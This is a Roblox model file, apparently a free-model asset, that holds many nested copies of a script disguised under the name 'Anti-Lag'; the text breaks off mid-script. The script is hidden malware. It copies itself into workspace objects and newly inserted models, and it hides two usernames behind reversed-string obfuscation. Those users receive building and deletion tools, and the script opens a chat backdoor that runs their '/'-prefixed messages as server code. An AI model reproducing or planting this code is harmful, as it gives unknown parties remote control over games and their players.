table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX121">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX122">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX123">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX124">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX125">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX126">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
						<Item class="Script" referent="RBX127">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Anti-Lag</string>
								<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX128">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX129">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
